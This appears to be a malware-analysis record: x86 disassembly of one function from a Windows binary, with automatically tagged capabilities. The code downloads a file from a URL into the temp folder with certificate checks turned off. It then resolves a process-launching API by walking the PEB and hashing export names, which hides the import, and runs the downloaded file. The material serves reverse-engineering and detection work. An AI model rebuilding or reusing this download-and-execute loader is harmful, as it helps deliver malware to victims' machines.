Function at 0x4043f0
Capabilities:
Access peb ldr_data
Encode data using xor
Get common file path
Get process heap force flags
Hash data using fnv
Parse url
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49fb21
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x420
mov eax, dword [0x4e03b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3f0]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
xorps xmm0, xmm0
push 0
push dword [ebx + 0x18]
movlpd qword [ebp - 0x3ec], xmm0
push eax
movlpd qword [ebp - 0x3e4], xmm0
movlpd qword [ebp - 0x3dc], xmm0
movlpd qword [ebp - 0x3d4], xmm0
movlpd qword [ebp - 0x3cc], xmm0
mov dword [ebp - 0x3c4], 0
movlpd qword [ebp - 0x3bc], xmm0
mov dword [ebp - 0x3f0], 0x3c
mov dword [ebp - 0x3c0], 1
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
je 0x404b18
mov dword [ebp - 0x240], 0
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x3c4]
mov ecx, edx
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4044e3
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x240]
call fcn.00406160
cmp dword [ebp - 0x22c], 0x10
lea esi, [ebp - 0x240]
mov edi, dword [ebp - 0x230]
cmovae esi, dword [ebp - 0x240]
setae byte [ebp - 0x3f5]
or edx, 0xffffffff
test edi, edi
je 0x40458a
push 0x100
lea eax, [ebp - 0x3a0]
push 0
push eax
call fcn.00478ba0
add esp, 0xc
mov ecx, 0x4bb7d8
nop dword [eax]
movzx eax, byte [ecx]
inc ecx
mov byte [ebp + eax - 0x3a0], 1
cmp ecx, 0x4bb7da
jne 0x404540
lea eax, [edi - 1]
or edx, 0xffffffff
cmp eax, edx
mov ecx, edx
cmovb ecx, eax
movzx eax, byte [ecx + esi]
add ecx, esi
mov al, byte [ebp + eax - 0x3a0]
test al, al
jne 0x404586
cmp ecx, esi
je 0x40458a
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x3a0]
test al, al
je 0x404572
sub ecx, esi
jmp 0x40458d
or ecx, 0xffffffff
inc ecx
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0xf
mov byte [ebp - 0x430], 0
mov byte [ebp - 4], 2
cmp edi, ecx
jb 0x404b66
sub edi, ecx
lea eax, [ebp - 0x240]
cmp edi, 0xffffffff
cmovb edx, edi
cmp byte [ebp - 0x3f5], 0
push edx
cmovne eax, dword [ebp - 0x240]
add eax, ecx
lea ecx, [ebp - 0x430]
push eax
call fcn.00406160
lea edx, [ebp - 0x430]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x258]
call fcn.004041c0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x41c]
cmp edx, 0x10
jb 0x40463d
mov ecx, dword [ebp - 0x430]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404633
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404b6b
push edx
push ecx
call fcn.00476f46
add esp, 8
lea eax, [ebp - 0x228]
mov dword [ebp - 0x420], 0
push eax
push 0x104
mov dword [ebp - 0x41c], 0xf
mov byte [ebp - 0x430], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x404a5b
cmp dword [ebp - 0x244], 8
lea eax, [ebp - 0x258]
cmovae eax, dword [ebp - 0x258]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3a4], eax
cmp eax, 0xffffffff
je 0x404a5b
call fcn.004216f0
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
mov esi, eax
cmovae ecx, dword [ebx + 8]
push ecx
push 0x2712
push esi
call fcn.00424660
add esp, 0xc
lea eax, [ebp - 0x3a4]
push eax
push 0x2711
push esi
call fcn.00424660
add esp, 0xc
push 0x404170
push 0x4e2b
push esi
call fcn.00424660
add esp, 0xc
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
cmovae ecx, dword [ebx + 8]
cmp dword [ebx + 0x18], 5
jb 0x404786
mov eax, dword [ecx]
mov edx, str.https
mov edi, 1
cmp eax, dword [edx]
jne 0x404737
add ecx, 4
mov edi, 0xfffffffd
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40475e
cmp edi, 0xfffffffd
je 0x40475a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40475e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40475e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x40475e
xor eax, eax
jmp 0x404763
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
je 0x404786
push 1
push 0x40
push esi
call fcn.00424660
add esp, 0xc
push 1
push 0x51
push esi
call fcn.00424660
add esp, 0xc
push esi
call fcn.00421750
add esp, 4
mov esi, eax
push dword [ebp - 0x3a4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x404a5b
mov eax, dword fs:[0x18]
xorps xmm0, xmm0
movups xmmword [ebp - 0x3b4], xmm0
mov dword [ebp - 0x2a0], 0x44
movlpd qword [ebp - 0x29c], xmm0
movlpd qword [ebp - 0x294], xmm0
movlpd qword [ebp - 0x28c], xmm0
movlpd qword [ebp - 0x284], xmm0
movlpd qword [ebp - 0x27c], xmm0
movlpd qword [ebp - 0x274], xmm0
movlpd qword [ebp - 0x26c], xmm0
movlpd qword [ebp - 0x264], xmm0
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x3fc], eax
cmp dword [ecx + 0x18], 0
mov dword [ebp - 0x3f4], ecx
je 0x4048e9
mov edx, dword [ecx + 0x30]
xor ecx, ecx
movzx eax, word [edx]
mov esi, eax
cmp eax, 0x20
jb 0x404849
cmp ax, 0x7e
ja 0x404849
mov byte [ebp + ecx - 0x3a0], al
inc ecx
movzx eax, word [edx + ecx*2]
cmp eax, 0x20
jae 0x404832
xor esi, esi
cmp byte [ebp - 0x3a0], 0x20
jl 0x404869
cmp byte [ebp + esi - 0x3a0], 0x7e
jg 0x404869
inc esi
cmp byte [ebp + esi - 0x3a0], 0x20
jge 0x404854
xor edi, edi
mov dword [ebp - 0x400], 0x84222325
mov dword [ebp - 0x404], 0xcbf29ce4
test esi, esi
je 0x4048dd
mov cl, byte [ebp + edi - 0x3a0]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
push 0x100
cmova eax, edx
cdq
xor edx, dword [ebp - 0x404]
xor eax, dword [ebp - 0x400]
push 0x1b3
push edx
push eax
call fcn.004774d0
mov ecx, eax
inc edi
mov dword [ebp - 0x400], ecx
mov eax, edx
mov dword [ebp - 0x404], eax
cmp edi, esi
jb 0x404883
cmp ecx, 0xacf9c443
jne 0x4048dd
cmp eax, 0xe14b18a7
je 0x4048f8
mov ecx, dword [ebp - 0x3f4]
mov eax, dword [ebp - 0x3fc]
cmp ecx, eax
je 0x404a1a
mov ecx, dword [ecx]
jmp 0x404813
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x3f4], ecx
test ecx, ecx
je 0x404a1a
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x1c]
mov esi, dword [eax + 0x24]
add edx, ecx
add esi, ecx
mov dword [ebp - 0x418], edx
mov edx, dword [eax + 0x20]
mov eax, dword [eax + 0x14]
add edx, ecx
mov dword [ebp - 0x414], esi
xor esi, esi
mov dword [ebp - 0x40c], edx
mov dword [ebp - 0x3fc], esi
mov dword [ebp - 0x410], eax
test eax, eax
je 0x404a1a
mov edi, dword [edx + esi*4]
xor esi, esi
add edi, ecx
mov al, byte [edi]
cmp al, 0x20
jl 0x40496d
nop
cmp al, 0x7e
ja 0x40496d
mov al, byte [esi + edi + 1]
inc esi
cmp al, 0x20
jge 0x404960
xor eax, eax
mov dword [ebp - 0x404], 0x84222325
mov dword [ebp - 0x400], 0xcbf29ce4
mov dword [ebp - 0x408], eax
test esi, esi
je 0x404a01
nop dword [eax]
mov cl, byte [eax + edi]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
push 0x100
cmova eax, edx
cdq
xor edx, dword [ebp - 0x400]
xor eax, dword [ebp - 0x404]
push 0x1b3
push edx
push eax
call fcn.004774d0
mov ecx, eax
mov dword [ebp - 0x400], edx
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x408], eax
cmp eax, esi
jb 0x404990
cmp ecx, 0x46b3ed1f
jne 0x4049f5
cmp edx, 0xb1859107
je 0x404aea
mov edx, dword [ebp - 0x40c]
mov ecx, dword [ebp - 0x3f4]
mov esi, dword [ebp - 0x3fc]
inc esi
mov dword [ebp - 0x3fc], esi
cmp esi, dword [ebp - 0x410]
jb 0x404952
xor eax, eax
lea ecx, [ebp - 0x3b4]
push ecx
lea ecx, [ebp - 0x2a0]
push ecx
push 0
push 0
push 8
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x228]
push ecx
call eax
test eax, eax
je 0x404a5b
push dword [ebp - 0x3b4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x3b0]
call esi
mov edx, dword [ebp - 0x244]
cmp edx, 8
jb 0x404a9b
mov ecx, dword [ebp - 0x258]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404a91
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404b70
push edx
push ecx
call fcn.00476f46
add esp, 8
mov edx, dword [ebp - 0x22c]
xor eax, eax
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
cmp edx, 0x10
jb 0x404b18
mov ecx, dword [ebp - 0x240]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b0e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404b70
jmp 0x404b0e
mov ecx, dword [ebp - 0x414]
mov eax, dword [ebp - 0x3fc]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x418]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x3f4]
jmp 0x404a1c
push edx
push ecx
call fcn.00476f46
add esp, 8
mov edx, dword [ebx + 0x1c]
cmp edx, 0x10
jb 0x404b48
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b3e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404b75
push edx
push ecx
call fcn.00476f46
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00476d32
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004065f0
call fcn.00483ee1
call fcn.00483ee1
call fcn.00483ee1
int3